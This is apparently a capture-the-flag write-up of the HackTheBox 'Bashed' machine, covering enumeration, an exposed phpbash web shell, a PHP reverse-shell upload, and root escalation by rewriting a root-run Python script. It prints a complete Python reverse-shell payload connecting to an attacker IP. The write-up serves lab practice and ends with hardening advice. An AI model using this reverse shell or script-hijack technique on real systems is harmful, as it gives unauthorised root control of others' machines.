---
title: "Writeup - Bashed (HTB)"
date: 2022-05-03
slug: "writeup-bashed-htb"
type: "writeup-ctf"
--- 

This is a writeup for the [Bashed](https://app.hackthebox.com/machines/Bashed) machine from the HackTheBox site.

## Enumeration

First, let's start with a scan of our target with the following command:


```bash
nmap -sV -T4 -Pn 10.10.10.68
```
One TCP port are discovered:

![](img/image-1.webp)

- 80/tcp : HTTP web server (Apache 2.4.18)

![](img/image-2.webp)

## Exploit

First, I start by scanning the site's folders.

![](img/image-3.webp)

Quite a few things and in particular the `/dev` folder which contains the 2 following files:

![](img/image-4.webp)

After some research they correspond to the following project: [phpbash](https://github.com/Arrexel/phpbash). Globally it is a cmd directly integrated in a web page. So I go to the page and start to look if there are interesting things:

![](img/image-5.webp)

Rather fast, we can already get the first flag!

## Privilege escalation

Although functional, the cmd in the browser remains limited. So I upload a PHP reverse shell in the `html/uploads` folder.

![](img/image-6.webp)

I now have a reverse and I can check the sudo permissions of my user.

![](img/image-7.webp)

![](img/image-8.webp)

So he has the authorization to execute any command as `scriptmanager`. So I search for files/scripts on the machine and find the `/scripts`. I check the permissions with the following command:

![](img/image-9.webp)

Looking at the content of the script I realize that there is an automatic execution of the script by the root user. Indeed the file `test.txt` belongs to root and was created a short time ago.


```bash
f = open("test.txt", "w")
f.write("testing 123!")
f.close
```
So I modify the script with the following program:


```bash
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.4",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
t=subprocess.call(["/bin/sh","-i"])
```
After a few minutes, I have a reverse shell root and I can recover the last flag.

![](img/image-10.webp)

## Recommendations

To patch this host I think it would be necessary to perform a number of actions:

- Do not run phpbash.php directly on the machine, use containers to isolate it for example
- Reduce the permissions of the user hosting the applications to a strict minimum
- Do not run a script automatically as root if it can be modified by other users